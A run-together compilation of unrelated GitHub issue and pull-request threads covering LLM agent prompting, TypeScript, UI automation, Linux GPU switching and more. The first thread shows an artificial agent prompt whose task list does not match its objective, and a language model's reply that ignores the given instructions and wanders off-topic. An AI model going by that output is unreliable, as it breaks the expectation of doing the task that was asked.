Objective 1 is: who plays in goal for man united
We have developed the following numbered list of tasks that one must complete to achieve Objective 1:
Objective 1, Task 1: Wake up at 7am
Objective 1, Task 2: Eat breakfast
Objective 1, Task 3: Exercise for 30 minutes
Objective 1, Task 4: Complete report for work
Objective 1, Task 5: Attend meeting at 2pm

The current task that we are at among these is Objective 1, Task 1. We will refer to Objective 1, Task 1 as Objective 2.

Instructions:
Write down some observations on what one would require to complete Objective 2. In particular, you should respond with 2 items:
- Resources one would need to complete Objective 2; and
- Abilities one would need to complete Objective 2.
Your observations should consist of one or two sentences per category.

Format:
Respond with your observations in the following format:
Resources: (one or two sentences about the resources required to complete Objective 2)
Abilities: (one or two sentences about the abilities required to complete Objective 2)
Do not respond with anything but these observations.

Assistant

----------------------OUTPUT-----------------------
, I have provided you with a task and an objective. Please observe what is needed to achieve the objective.

Objective: Create a new product line for a company that specializes in sustainable fashion.
Task: Research market trends and consumer preferences related to sustainability in the fashion industry.

Output generated in 4.15 seconds (4.58 tokens/s, 19 tokens, context 48, seed<PHONE_NUMBER>)
-----------------------INPUT-----------------------
USER:
You are an AI assistant. Your main objective is to follow all instructions and complete all tasks written in the 'Instructions:' section, then respond with the output format specified in the 'Format:' section.
You are completely on your own, and cannot ask for more information or clarification.
You have no abilities or resources unless they are explicitly listed.

Remember these objectives:
Objective 1 is: who plays in goal for man united
We have developed the following numbered list of tasks that one must complete to achieve Objective 1:
Objective 1, Task 1: Wake up at 7am
Objective 1, Task 2: Eat breakfast
Objective 1, Task 3: Exercise for 30 minutes
Objective 1, Task 4: Complete report for work
Objective 1, Task 5: Attend meeting at 2pm

The current task that we are at among these is Objective 1, Task 1. We will refer to Objective 1, Task 1 as Objective 2.

Instructions:
Develop a comprehensive plan to complete Objective 2. The plan should come as a list of tasks, each a single step in the process of completing Objective 2.
The list should be written in the order that the tasks must be completed.
Do not include tasks that have already been completed.
The number of tasks in the list should be between 1 and 6.
Each task should be one sentence.

Format:
Respond with the numbered list in the following format:
1. (first task to be completed)
2. (second task to be completed)
etc.
Do not respond with anything other than the list; do not ask for clarifications or anything else from the user.
Each item on the list should be one sentence.`

Running this with 30B gpt4-alpasta 4bit on a 3090

This usually has to do with prompting templates. Right now you have to set the human and assistant prefixes yourself in the prompting menu

I've tried playing around with different prefixes but I am unsure which prefixes GPT4-X-Alpasta-30b use

I've also noticed it going off topic like this when "max new tokens" in parameters is too HIGH. Very strange behavior that I'm investigating. Also try setting max new tokens to around 1000, that's helped me when it refuses to listen

Changing the max new tokens to 1000 seems to have fixed the issue. I had it on 2000 by default.
Thanks again for the extension, I can see myself using this a lot so I will keep posting any issues I have.


[main < T647]  Add correctness testing for path output

Description
Please briefly explain the changes you made here.
Added an option in correctness testing, to see if output of path results is equal to one another. The order of the paths in the result is not important, because the paths will be sorted.
Pull request type

[x] Feature

Related issues
Delete if this PR doesn't resolve any issues. Link the issue if it does.
######################################
Reviewer checklist (the reviewer checks this part)
Module/Algorithm

[ ] Core algorithm/module implementation
[ ] Query module implementation
[ ] Unit tests
[ ] End-to-end tests
[ ] Code documentation
[ ] README short description
[ ] Documentation on memgraph/docs
[ ] Update GQLALchemy signatures in query builder using query module signature generator

######################################

Would like to discuss it on daily, since I took some liberties in implementing it we have not exactly agreed on.


[release-1.7] Upgrade to latest dependencies

Cherry-pick https://github.com/knative-sandbox/control-protocol/pull/254 to reduce informer cache usage -evankanderson
/cc knative-sandbox/serving-writers
/assign knative-sandbox/serving-writers
Produced by: knative-sandbox/knobots/actions/update-deps

Closing as changes are NOOP for this repo


Add codes to 114_dynamic_world.ipynb

As you know, Earth Engine Dynamic World products are divided into hillshade, probability, visualize, and class according to return_types. In my opinion, it would be nice to add information on how to save class data as GeoTIFF.
# Save Dynamic World class data as GeoTIFF format
output_path = 'landcover.tif'
landcover = geemap.dynamic_world(region, start_date, end_date, return_type='class')
geemap.ee_export_image(landcover, filename=output_path, scale=10, region=region, file_per_band=False)

@osgeokr Thank you for your contribution!


File conversion problem sql->jupyter

When I wrote a jupyter file, I wrote a lot of cells, but when I re-use the sql notebook to open, it actually became only one cell, I feel very broken, because this is my work for a long time, if it can not run, I will face punishment, please be sure to solve quickly, thank you!

Please reference the FAQ, found here, for understanding why this is happening. If you still encounter issues, please reopen this issue with more context and steps for reproducing them.

I found my problem, it is due to the format of the newline, because I used the CRLF format of the newline, resulting in all the content is identified as a cell, in VScode change to LF, can solve the problem, thank u


csv-external is inside a repeat reports error with xml_instance

This doesn't work. Fails with "AttributeError: xml_instance"

When I move csv-external outside the repeat, it works great!

Not sure why this is, but maybe we can warn?

I think ideally it would just work?


Replace Virtual type documentation with updated version.

This takes the better manual documentation from the nit website.

Unrelated failed test. Will merge.


dm service discovery template

Thank you for making this PR. For the moment, we have to be backwards compatible.
I like the examples you provided, do you mind keep existing templates, add your PR files as additional example template files?
Cheers


Inherited Constructors execute before sub class field initializations

TypeScript Version:  2.1.5
Code
class Base {
  id:string;

  constructor(config:any) {
      // Given a defined schema object, bind the inbound config to the current
      //   instance, enforcing types and discarding unused fields
      bindToSchema(ObjectSchemaRegistry.get(this.constructor), this, config);
  }
}

class SubType extends Base {
   name:string = 'basic';
}

Expected behavior:
new SubType({ name : 'test' }).name == 'test'
Actual behavior:
new SubType({ name : 'test' }).name == 'basic'
The sub class field initialization executes after the base class constructor executes.  I'm not sure if this is 100% desirable but I can understand the reasoning for it.  If this is unchangeable, I would look for some way to execute the bindToSchema function after the sub class field initialization has occurred (barring making every use of the constructors call bindToSchema manually).

duplicate of #10634?

Sounds like it, didn't come up in my search.  Is there any way to achieve this functionality (calling code after the constructors finish) without changing the order of construction?

Nope. General pattern here is to have some convention like calling this.init() after super in the derived class constructors.

Understood, it just seems like an anti-pattern to have, what is essentially, a secondary constructor to compensate for the initialization of fields.
I'm toying with using an inherited static member to act as the constructor (e.g. Sub.new, or Sub.from), but I'm not sure if relying on inheritance for static members is a good idea either.

So, playing around with some solutions, what I'm looking at is:
class BaseSchema {
  static new<T>(this: new () => T, data: any): T {
    return BindUtil.bindSchema(this, new this(), data);
  }
}

This then allows for
class Person extends BaseSchema {
  name: string = 'bob';
}

let person:Person = Person.new({});


⚠ Minecraft has degraded performance

In bc8e6c5, Minecraft (https://www.minecraft.net) experienced degraded performance:

HTTP code: 200
Response time: 1672 ms

Resolved: Minecraft performance has improved in 2af918a.


HTML file is named incorrectly

Rename OwnerErrorModal() to ownerErrorModal().

[x] Unit Tests

GROUPINGS-1009

Re the Jira: PR 491 (which was already in when you did this PR going past it, without merging it in), includes updates to make the HomeController 100% covered.


Remove bluebird

bluebird has been removed, so we're now using native Promises everywhere. Using bluebird did not seem necessary; native Promises are sufficient for everything we are doing.

This depends upon #103


Fix C8 not using sourcemaps correctly (I think)

Honestly, I'm not exactly sure what black magic is happening with C8 and the like, but as far as I understand this is a needed change. I don't think C8 was actually doing any source mapping prior to this, because it cached the coverage map when report.getCoverageMapFromAllCoverageFiles() was called.
Here is what Vitest is generating for source maps:
sourcemapthingy.zip
use this site to view it: https://sokra.github.io/source-map-visualization
You'll notice that the source mapping seems pretty much perfect, at least to me. I think any further issues with coverage are related to C8 itself.

I think this fixes the same issue as #342

Further investigation:
This esbuild issue I think is relevant to some of the weird coverage issues.
If we take a look at this image:

You can see how the source is mapped pretty weirdly to the generated file.
That results in weird coverage that looks like this:

Really, the issue is two fold:

The generated source mapping is not very dense
Some of the mappings are bizarre and probably confuse the reporter

I see a couple "solutions" for this. One is to use tsc rather than esbuild when running with coverage, another is to use Istanbul directly. I don't like the latter, nor do I like the former, but out of the two, I think using tsc is probably better? If people are running with esbuild plugins I could see that causing issues though.

Okay, yeah, tsc emits a waaay more precise source map:

However, it breaks if I run it through the ssr mode. I presume that's because of the hacky tsc plugin I'm using.


Feature: display ENS name in connected wallet info

What it solves
Resolves #3255
How this PR fixes it
If present, adds a reverse ENS name to the connected wallet popup.
How to test it

Connect with an address that has a primary ENS name
Connect with an address that doesn't

Screenshots

Pull Request Test Coverage Report for Build<PHONE_NUMBER>

1 of 5 (20.0%)  changed or added relevant lines in 3 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage decreased (-0.02%) to 33.628%

Changes Missing Coverage
Covered Lines
Changed/Added Lines
%

src/components/AppLayout/Header/components/ProviderInfo/ProviderAccessible.tsx
0
1
0.0%

src/components/AppLayout/Header/index.tsx
0
1
0.0%

src/logic/wallets/store/selectors/index.ts
1
3
33.33%

Totals

Change from base Build<PHONE_NUMBER>:
-0.02%

Covered Lines:
3168

Relevant Lines:
8454

💛  - Coveralls

Looks good to me:
With ENS:

No ENS: (nothing broke)


Spyder crashed during last session

I am submitting this issue here because couldn't find any related document in Spyder. reinstalling and pip install -U sypyder it did not solve the problem Any insight into this issue kindly apprediated, Thanks!
(mypy) sudo -H spyder3
I am getting error
"Attribute Qt::AA_ShareOpenGLContexts must be set before QCoreApplication is created.
Attribute Qt::AA_UseSoftwareOpenGL must be set before QCoreApplication is created."
and crashing spyder even before I could use it for once.
I've all dependencies installed or at least I assume they are confirm correctly about the spyder.
I used a virtual environment in the command line of mac. I have found it might be related to ipykernel, so I downgraded by uninstalling and reinstalling the older version.
my version
spyder                        4.0.0.dev0
thank you in advance.

(mypy) sudo -H spyder3

This is totally unnecessary because you're trying to run Spyder as root, which is the most probable cause for your crash.

"Attribute Qt::AA_ShareOpenGLContexts must be set before QCoreApplication is created.
Attribute Qt::AA_UseSoftwareOpenGL must be set before QCoreApplication is created."

These are warnings, so they don't have anything to do with your problem.

Since it seems you don't know very well how Linux works, we recommend you to use Anaconda instead. Otherwise it's up to you to solve this problem, because we don't have the time nor the resources to help people with other kind of installations, sorry.


Recordedit Errors

This PR is opened to address the areas in recordedit where error handling needs to be updated to be consistent with our error handling guidelines.

As I noted in the issue for the error handling (#1012), it wasn't exactly trivial how to make this available in a PR for others to comment accordingly. What I had to do was make comments inline like:
// TODO: text here
so that those changes would show up in git and that others can then comment using git's tools.
I asked for a review from each of you just so there can be some discussion about the changes that should be made.

If git won't let you comment in a place that I haven't made a change (this happens when you want to make a git comment on a line that is nowhere near a change that was made), leave a comment on the PR with a link to that line number like this:
https://github.com/informatics-isi-edu/chaise/blob/re-errors/recordedit/form.controller.js#L31

@chiragsanghvi and @RFSH, I finished making the error handling refactor changes to the recordedit app. This is ready for review.
Should the catchAll be officially removed from the code now?

@jrchudy If we're not calling that function anywhere in the code (which seems to be the case), we should remove it.
Also I think we should update the wiki to reflect the changes regarding not using catcher function, and using window.onerror.


VSCode releases 1.53 and 1.54 hang on startup on Centos 7 VM

VS Code Version: 1.53 and 1.54
OS Version: Centos 7 - CentOS Linux release 7.8.2003 (Core)

Steps to Reproduce:

sudo yum update code
restart code
vscode hangs and has to be killed

Does this issue occur when all extensions are disabled?: Yes

I do have the same issue, same steps to reproduce.
My setup is:

VS Code version: 1.54.3 2b9aebd5354a3629c3aba0a5f5df49f43d6689f8 x64
OS version: CentOS Linux release 7.9.2009 (Core)
Kernel version: 3.10.0-1160.21.1.el7.x86_64

/duplicate of #115784


Can't get the current Project ID when running on my dev machine.

https://github.com/googleapis/gax-dotnet/blob/3488c5b95f383e314d4a22390b599f07aa3057dc/src/Google.Api.Gax/Platform.cs#L543
While I can get the Project ID when running on GAE, GCE or GKE I cannot use the same code to get the Project ID when running locally. That is what the GOOGLE_CLOUD_PROJECT environment variable is supposed to do for me.
We should have a 4th type of platform details that allow the code to run unchanged when running on the developer machine with only the GOOGLE_CLOUD_PROJECT environment variable set.

Yes, this sounds like a good idea. Is the ProjectId the only useful information that can be learnt from a "local" platform?

Closing as we wouldn't want to do this unilaterally. (There's a lot of work on environment variables that's needed for consistency.)


Issue with Microsoft Teams: no reaction on button click

Hi Descolada,
I have tried followind scenario with your UIAutomation Library and Microsoft Teams, see https://tdalon.blogspot.com/2022/09/ahk-uia-teams-meeting-actions.html with the code available here: https://gist.github.com/tdalon/a3aa353a1738e3f6f76d861075471241
The elements are properly found but the problem I have is that no action happens when calling:
ActionEl.Click()
(this is clicking on the fullscreen button.
I would appreciate if you had any help, insights on this because I am pretty stuck right now ;-)

Hello,
Your code snippet seems to be missing some functions like Teams_GetMeetingWindow and the ClickAction routine isn't called anywhere, but for me this snippet worked:
#include <UIA_Interface>

winTitle := "New channel meeting" ; Teams_GetMeetingWindow()
WinActivate, % winTitle
WinWaitActive, % winTitle
UIA := UIA_Interface()
teamsEl := UIA.ElementFromHandle(winTitle)
; Make fullscreen
teamsEl.FindFirstBy("AutomationId=callingButtons-showMoreBtn").Click()
teamsEl.WaitElementExist("AutomationId=fullscreen-button").Click()
Sleep, 2000
; Restore normal window
teamsEl.FindFirstBy("AutomationId=callingButtons-showMoreBtn").Click()
teamsEl.WaitElementExist("AutomationId=fullscreen-button").Click()
ExitApp

Your codes equivalent should probably be Teams_MeetingAction("fullscreen"). If you haven't updated UIA_Interface.ahk for a while, I suggest doing that as well.
Though you can do this without UIA as well:
winTitle := "New channel meeting" ; Teams_GetMeetingWindow()
WinActivate, % winTitle
WinWaitActive, % winTitle
ControlSend,,{F11}, % winTitle
Sleep, 2000
ControlSend,,{F11}, % winTitle

I thought this would work without requiring the window to be activated.
Even if I activate the meeting window before, it is working sporadically for me. Sometimes it sets to fullscreen, sometimes not, most likely not.
The toggle reset fullscreen seems to never work for me this way though.
Maybe some strange Windows 10/ Teams App behavior.
(I have updated the UIA library to latest version.)
The F11 hotkey works also indeed to toggle the fullscreen mode. It seems it isn't documented by Microsoft.
The idea would be if it works for fullscreen this way with UIA to get other shortcuts for other meeting actions.
Many thanks for your help/ much appreciated :-)

I think this is the same "strange behavior" that we have encountered previously, where the menu buttons aren't always visible to UIA. This is probably related to some kind of bug in Microsofts' implementation of UIAutomation or a bug in Chromium UIA implementation, since Acc can find those elements reliably (though the window needs to be active). Unfortunately this means I am unable to fix this, nor have I found any good workarounds...

The particularity here is that the element is found properly in a reliable way _but the click function has no effect/ does not trigger the expected action. So not totally the same as the previously encountered issue.

Hmm, okay, that is actually different. Unfortunately I couldn't reproduce it - I ran my example about 10 times and it was very reliable. Are there any specific steps to reproducing it? Also which part is not working exactly - pressing the "callingButtons-showMoreBtn" or "fullscreen-button"?

I have tried also with your code.
On the click on the Fullscreen button, it works sporadically only to set it and nothing happens if Fullscreen is already on.

What happens when you create a new meeting with the title "New channel meeting" and run the following code:
#SingleInstance, Force
SendMode Input
#Persistent
SetWorkingDir, %A_ScriptDir%
SetTitleMatchMode, 2
SetBatchLines, -1

#include <UIA_Interface>

winTitle := "New channel meeting" ; Teams_GetMeetingWindow()
WinActivate, % winTitle
WinWaitActive, % winTitle
UIA := UIA_Interface()
teamsEl := UIA.ElementFromHandle(winTitle)
Loop, 5 {
    ToolTip, Try number %A_index%
    ; Make fullscreen
    teamsEl.FindFirstBy("AutomationId=callingButtons-showMoreBtn").Highlight().Click()
    teamsEl.WaitElementExist("AutomationId=fullscreen-button").Highlight().Click()
    Sleep, 2000
    ; Restore normal window
    teamsEl.FindFirstBy("AutomationId=callingButtons-showMoreBtn").Highlight().Click()
    teamsEl.WaitElementExist("AutomationId=fullscreen-button").Highlight().Click()
    Sleep, 2000
}
ExitApp

When the meeting is already on fullscreen the click on the more button (now highlighted) does not open the menu with the other buttons like fullscreen.
When not in fullscreen, it works properly: buttons are highlighted and clicked with effect.

@tdalon okay so whatever reason, the More button requires a small sleep after finding it and before clicking.
moreEl := teamsEl.FindFirstBy("AutomationId=callingButtons-showMoreBtn")
Sleep, 100
moreEl.Click()
teamsEl.WaitElementExist("AutomationId=fullscreen-button").Click()

This worked fairly reliably for me. A smaller sleep (about 50ms) tended to fail sometimes. I have NO explanation for why this is necessary, because it hasn't been in any other application I've tried. Another quirk of Teams?

For me this isn't working. I have played around with some extended pauses.
If the Window is not in fullscreen, the action Element (teamsEl.WaitElementExist("AutomationId=fullscreen-button")) is found but the click has no effect.
If the Window is in fullscreen the More Element is found but the click has no effect i.e. does not open the menu.

.Highlight works but not if the window is set to my secondary screen. Is it a bug in the highlight method?


how i set up the bot after i put the token and everything like what i need to do for it verify someone

You need to run it, then when someone joins your server they will get a DM with a link to verify.


Strange bahaviors in Nvidia and Hybrid modes

Hi,
Here is my report after testing envycontrol.
Tested on Gnome/ArchLinux.
Integrated mode
All works well, nvidia drivers unloaded (verified by lsmod), i915 drivers for intel loaded (If you want to test something feel free to tell me).
Nvidia mode
1- I can't see the options to switch (gnome/gnomeclassic/xorg) on GDM login screen + I'm forced to wayland directly.
2- Nvidia isn't used, instead intel in used!!!

Hybrid mode
1- only gnome+gnomeclassic options on GDM login screen, but shows x11 on gnome control center ???!!!
rest fine.

Hi,
By default GDM will use Wayland, you can force it to use Xorg by editing /etc/gdm/custom.conf and uncommenting the line that says WaylandEnable=false.
About the hybrid mode issue, can you check if there's any config file on /etc/X11 and /etc/X11/xorg.conf.d, maybe there was a leftover config from another tool that's interfering with Xorg.
Thank you.

That's what I have.

$ tree .
├── xinit
│   ├── xinitrc
│   ├── xinitrc.d
│   │   ├── 40-libcanberra-gtk-module.sh
│   │   └── 50-systemd-user.sh
│   └── xserverrc
├── xorg.conf.d
│   └── 00-keyboard.conf
└── Xsession.d
└── 90xbrlapi

In integrated mode, all options in image are present which is normal state.
In hybrid mode only gnome+gnomeclassic options are present ?! (too strange). but shows x11 on gnome control center as I mentioned !!
In nvidia mode I can't see the options to switch (gnome/gnomeclassic/xorg) on GDM login screen + I'm forced to wayland directly.
@geminis3

That's strange, I'm currently on Fedora 35 and all EnvyControl modes are working correctly. GNOME, GNOME Classic and GNOME on Xorg sessions are showed to me on GDM (Xorg configs don't affect Wayland so hybrid and nvidia modes are the same under Wayland).
Nvidia mode (Xorg)

Hybrid mode (Xorg)

Integrated mode (Wayland)

PD: Laptops with Nvidia under Wayland only work if there are no external screens connected otherwise GNOME will crash and kick you back to GDM, using the integrated mode disables the Nvidia card so no crashes but nothing will be displayed on the external screen.

I retested Nvidia mode again.
Again, I can't see the options to switch (gnome/gnomeclassic/xorg) on GDM login screen + I'm forced to wayland directly (my default selection was xorg on GDM before switching).
Nvidia not used !

$ lspci | grep nvidia
08:00.0 3D controller: NVIDIA Corporation GK208BM [GeForce 920M] (rev a1)
08:00.1 Audio device: NVIDIA Corporation GK208 HDMI/DP Audio Controller (rev a1)
$ envycontrol --status
Current graphics mode is: nvidia
$ tree /etc/X11
/etc/X11
├── xinit
│   ├── xinitrc
│   ├── xinitrc.d
│   │   ├── 40-libcanberra-gtk-module.sh
│   │   └── 50-systemd-user.sh
│   └── xserverrc
├── xorg.conf.d
│   ├── 00-keyboard.conf
│   └── 90-nvidia.conf
└── Xsession.d
└── 90xbrlapi
$ cat /etc/X11/xorg.conf.d/90-nvidia.conf
Do not modify this file
Generated by EnvyControl
Section "ServerLayout"
Identifier "layout"
Screen 0 "nvidia"
Inactive "intel"
EndSection
Section "Device"
Identifier "nvidia"
Driver "nvidia"
BusID "PCI:1:0:0"
EndSection
Section "Screen"
Identifier "nvidia"
Device "nvidia"
Option "AllowEmptyInitialConfiguration"
EndSection
Section "Device"
Identifier "intel"
Driver "modesetting"
EndSection
Section "Screen"
Identifier "intel"
Device "intel"
EndSection
$ lsmod | grep 'nvidia'
nvidia_drm             73728  0
nvidia_modeset       1204224  1 nvidia_drm
nvidia_uvm           2564096  0
nvidia              35389440  17 nvidia_uvm,nvidia_modeset
$ glxinfo | grep OpenGL
OpenGL vendor string: Intel
OpenGL renderer string: Mesa Intel(R) HD Graphics 6000 (BDW GT3)

Is there mannuel I can do to help you figure out this problem ?

``> I retested Nvidia mode again.

Again, I can't see the options to switch (gnome/gnomeclassic/xorg) on GDM login screen + I'm forced to wayland directly (my default selection was xorg on GDM before switching).
Nvidia not used !

$ lspci | grep nvidia
08:00.0 3D controller: NVIDIA Corporation GK208BM [GeForce 920M] (rev a1)
08:00.1 Audio device: NVIDIA Corporation GK208 HDMI/DP Audio Controller (rev a1)
$ envycontrol --status
Current graphics mode is: nvidia
$ tree /etc/X11
/etc/X11
├── xinit
│   ├── xinitrc
│   ├── xinitrc.d
│   │   ├── 40-libcanberra-gtk-module.sh
│   │   └── 50-systemd-user.sh
│   └── xserverrc
├── xorg.conf.d
│   ├── 00-keyboard.conf
│   └── 90-nvidia.conf
└── Xsession.d
└── 90xbrlapi
cat /etc/X11/xorg.conf.d/90-nvidia.conf
Do not modify this file
Generated by EnvyControl
Section "ServerLayout"
Identifier "layout"
Screen 0 "nvidia"
Inactive "intel"
EndSection
Section "Device"
Identifier "nvidia"
Driver "nvidia"
BusID "PCI:1:0:0"
EndSection
Section "Screen"
Identifier "nvidia"
Device "nvidia"
Option "AllowEmptyInitialConfiguration"
EndSection
Section "Device"
Identifier "intel"
Driver "modesetting"
EndSection
Section "Screen"
Identifier "intel"
Device "intel"
EndSection
$ lsmod | grep 'nvidia'
nvidia_drm             73728  0
nvidia_modeset       1204224  1 nvidia_drm
nvidia_uvm           2564096  0
nvidia              35389440  17 nvidia_uvm,nvidia_modeset
$ glxinfo | grep OpenGL
OpenGL vendor string: Intel
OpenGL renderer string: Mesa Intel(R) HD Graphics 6000 (BDW GT3)

Is there anything I can do to help you figure out this problem ?

Please edit /etc/gdm/custom.conf and uncomment this line:
WaylandEnable=false

That should force GDM to use Xorg and thus you can select the Gnome on Xorg session.
Thank you.

Also please send me the output of lspci | grep VGA command.
Maybe your Nvidia GPU has a different PCI bus ID.

It's:
00:02.0 VGA compatible controller: Intel Corporation HD Graphics 6000 (rev 09)
Dec 30, 2021, 00:14 by @.***:

``> I retested Nvidia mode again.

Again, I can't see the options to switch (gnome/gnomeclassic/xorg) on GDM login screen + I'm forced to wayland directly (>> my default selection was xorg on GDM before switchin>> g).
Nvidia not used !

$ lspci | grep nvidia
08:00.0 3D controller: NVIDIA Corporation GK208BM [GeForce 920M] (rev a1)
08:00.1 Audio device: NVIDIA Corporation GK208 HDMI/DP Audio Controller (rev a1)
$ envycontrol --status
Current graphics mode is: nvidia
$ tree /etc/X11
/etc/X11
├── xinit
│   ├── xinitrc
│   ├── xinitrc.d
│   │   ├── 40-libcanberra-gtk-module.sh
│   │   └── 50-systemd-user.sh
│   └── xserverrc
├── xorg.conf.d
│   ├── 00-keyboard.conf
│   └── 90-nvidia.conf
└── Xsession.d
└── 90xbrlapi
cat /etc/X11/xorg.conf.d/90-nvidia.conf
Do not modify this file
Generated by EnvyControl
Section "ServerLayout"
Identifier "layout"
Screen 0 "nvidia"
Inactive "intel"
EndSection
Section "Device"
Identifier "nvidia"
Driver "nvidia"
BusID "PCI:1:0:0"
EndSection
Section "Screen"
Identifier "nvidia"
Device "nvidia"
Option "AllowEmptyInitialConfiguration"
EndSection
Section "Device"
Identifier "intel"
Driver "modesetting"
EndSection
Section "Screen"
Identifier "intel"
Device "intel"
EndSection
$ lsmod | grep 'nvidia'
nvidia_drm             73728  0
nvidia_modeset       1204224  1 nvidia_drm
nvidia_uvm           2564096  0
nvidia              35389440  17 nvidia_uvm,nvidia_modeset
$ glxinfo | grep OpenGL
OpenGL vendor string: Intel
OpenGL renderer string: Mesa Intel(R) HD Graphics 6000 (BDW GT3)

Is there anything I can do to help you figure out this problem ?

Please edit > /etc/gdm/custom.conf>  and uncomment this line:
WaylandEnable=false
That should force GDM to use Xorg and thus you can select the Gnome on Xorg session.
Thank you.
—
Reply to this email directly, > view it on GitHub https://github.com/geminis3/envycontrol/issues/5#issuecomment-1002808851> , or > unsubscribe https://github.com/notifications/unsubscribe-auth/AIPC4MJDBXKB6JAGBS7E433UTOI4BANCNFSM5K46Z37A> .
Triage notifications on the go with GitHub Mobile for > iOS https://apps.apple.com/app/apple-store/id1477376905?ct=notification-email&mt=8&pt=524675>  or > Android https://play.google.com/store/apps/details?id=com.github.android&referrer=utm_campaign%3Dnotification-email%26utm_medium%3Demail%26utm_source%3Dgithub> .
You are receiving this because you authored the thread.> Message ID: > <geminis3/envycontrol/issues/5/1002808851> @> github> .> com>

``> I retested Nvidia mode again.

Again, I can't see the options to switch (gnome/gnomeclassic/xorg) on GDM login screen + I'm forced to wayland directly (my default selection was xorg on GDM before switching).
Nvidia not used !

$ lspci | grep nvidia
08:00.0 3D controller: NVIDIA Corporation GK208BM [GeForce 920M] (rev a1)
08:00.1 Audio device: NVIDIA Corporation GK208 HDMI/DP Audio Controller (rev a1)
$ envycontrol --status
Current graphics mode is: nvidia
$ tree /etc/X11
/etc/X11
├── xinit
│   ├── xinitrc
│   ├── xinitrc.d
│   │   ├── 40-libcanberra-gtk-module.sh
│   │   └── 50-systemd-user.sh
│   └── xserverrc
├── xorg.conf.d
│   ├── 00-keyboard.conf
│   └── 90-nvidia.conf
└── Xsession.d
└── 90xbrlapi
cat /etc/X11/xorg.conf.d/90-nvidia.conf
Do not modify this file
Generated by EnvyControl
Section "ServerLayout"
Identifier "layout"
Screen 0 "nvidia"
Inactive "intel"
EndSection
Section "Device"
Identifier "nvidia"
Driver "nvidia"
BusID "PCI:1:0:0"
EndSection
Section "Screen"
Identifier "nvidia"
Device "nvidia"
Option "AllowEmptyInitialConfiguration"
EndSection
Section "Device"
Identifier "intel"
Driver "modesetting"
EndSection
Section "Screen"
Identifier "intel"
Device "intel"
EndSection
$ lsmod | grep 'nvidia'
nvidia_drm             73728  0
nvidia_modeset       1204224  1 nvidia_drm
nvidia_uvm           2564096  0
nvidia              35389440  17 nvidia_uvm,nvidia_modeset
$ glxinfo | grep OpenGL
OpenGL vendor string: Intel
OpenGL renderer string: Mesa Intel(R) HD Graphics 6000 (BDW GT3)

Is there anything I can do to help you figure out this problem ?

Please edit /etc/gdm/custom.conf and uncomment this line:
WaylandEnable=false

That should force GDM to use Xorg and thus you can select the Gnome on Xorg session.
Thank you.

You locked me out of my system for about 1hr with that idea.......
It's like forcing it to use xorg and It cannot (that's why GDM removed all options and forced to Wayland in nvidia mode....)
Nvidia+Hybrid modes completely broken and they mess with display servers options...

Also please send me the output of lspci | grep VGA command.
Maybe your Nvidia GPU has a different PCI bus ID.

08:00.0 3D controller: NVIDIA Corporation GK208BM [GeForce 920M] (rev a1)

Also please send me the output of lspci | grep VGA command.
Maybe your Nvidia GPU has a different PCI bus ID.

08:00.0 3D controller: NVIDIA Corporation GK208BM [GeForce 920M] (rev a1)

Sorry for the inconveniences caused, I have made a patch to automatically detect the PCI bus of Nvidia GPUs however yours identify as a 3D controller instead of a VGA adapter.
I think all your video outputs are wired to the iGPU, I'll make another patch to also detect GPUs identified as 3D controllers.
Thank you.

Yeah, my video outputs are wired to intel GPU.
Dec 31, 2021, 00:40 by @.***:

Also please send me the output of >>> lspci | grep VGA>>>  command.
Maybe your Nvidia GPU has a different PCI bus ID.

08:00.0 3D controller: NVIDIA Corporation GK208BM [GeForce 920M] (rev a1)

Sorry for the inconveniences caused, I have made a patch to automatically detect the PCI bus of Nvidia GPUs however yours identify as a 3D controller instead of a VGA adapter.
I think all your video outputs are wired to the iGPU, I'll make another patch to also detect GPUs identified as 3D controllers.
Thank you.
—
Reply to this email directly, > view it on GitHub https://github.com/geminis3/envycontrol/issues/5#issuecomment-1003213582> , or > unsubscribe https://github.com/notifications/unsubscribe-auth/AIPC4MJMOTWVPVHBLNRS4D3UTTUVTANCNFSM5K46Z37A> .
Triage notifications on the go with GitHub Mobile for > iOS https://apps.apple.com/app/apple-store/id1477376905?ct=notification-email&mt=8&pt=524675>  or > Android https://play.google.com/store/apps/details?id=com.github.android&referrer=utm_campaign%3Dnotification-email%26utm_medium%3Demail%26utm_source%3Dgithub> .
You are receiving this because you authored the thread.> Message ID: > <geminis3/envycontrol/issues/5/1003213582> @> github> .> com>

Yeah, my video outputs are wired to intel GPU. Dec 31, 2021, 00:40 by @.***:
…

Also please send me the output of >>> lspci | grep VGA>>> command. >> >> >> Maybe your Nvidia GPU has a different PCI bus ID. >> >> > > 08:00.0 3D controller: NVIDIA Corporation GK208BM [GeForce 920M] (rev a1) > > Sorry for the inconveniences caused, I have made a patch to automatically detect the PCI bus of Nvidia GPUs however yours identify as a 3D controller instead of a VGA adapter. I think all your video outputs are wired to the iGPU, I'll make another patch to also detect GPUs identified as 3D controllers. Thank you. — Reply to this email directly, > view it on GitHub <#5 (comment)>> , or > unsubscribe https://github.com/notifications/unsubscribe-auth/AIPC4MJMOTWVPVHBLNRS4D3UTTUVTANCNFSM5K46Z37A> . Triage notifications on the go with GitHub Mobile for > iOS https://apps.apple.com/app/apple-store/id1477376905?ct=notification-email&mt=8&pt=524675> or > Android https://play.google.com/store/apps/details?id=com.github.android&referrer=utm_campaign%3Dnotification-email%26utm_medium%3Demail%26utm_source%3Dgithub> . You are receiving this because you authored the thread.> Message ID: > <geminis3/envycontrol/issues/5/1003213582> @> github> .> com>

I have uploaded version 1.2 of EnvyControl to the AUR, the PCI bus of the Nvidia card should now be automatically detected. Please update to this new version and re-test nvidia mode.
Thank you, wishing you a happy new year!

Thank you, you too.

~❯ sudo envycontrol --switch nvidia
Error: could not find Nvidia GPU on PCI bus, please switch to hybrid mode first

Are you on integrated mode?
Please send me the full output of the lspci command, you can save it to a file with lspci > lspci.txt so I can reproduce the issue.
Thanks.

Yeah, I'm on Intel.
https://anonymshare.com/56NW/lspci.txt

Yeah, I'm on Intel.
https://anonymshare.com/56NW/lspci.txt

Thanks, can you switch to hybrid mode, reboot and retest Nvidia mode?

It's a I mentioned in this post, nothing changed:
only gnome+gnomeclassic options on GDM login screen, but shows x11 on gnome control center and nvidia mode works fine when using prime-run command. Defaults  to intel.

Those are drivers state using optimus manager.
Nvidia mode

ॐ  ~:
10001 ◯  lsmod | grep 'nvidia'
nvidia_drm             73728  7
nvidia_modeset       1204224  5 nvidia_drm
nvidia              35389440  317 nvidia_modeset
ॐ  ~:
10002 ◯  lsmod | grep 'i915'
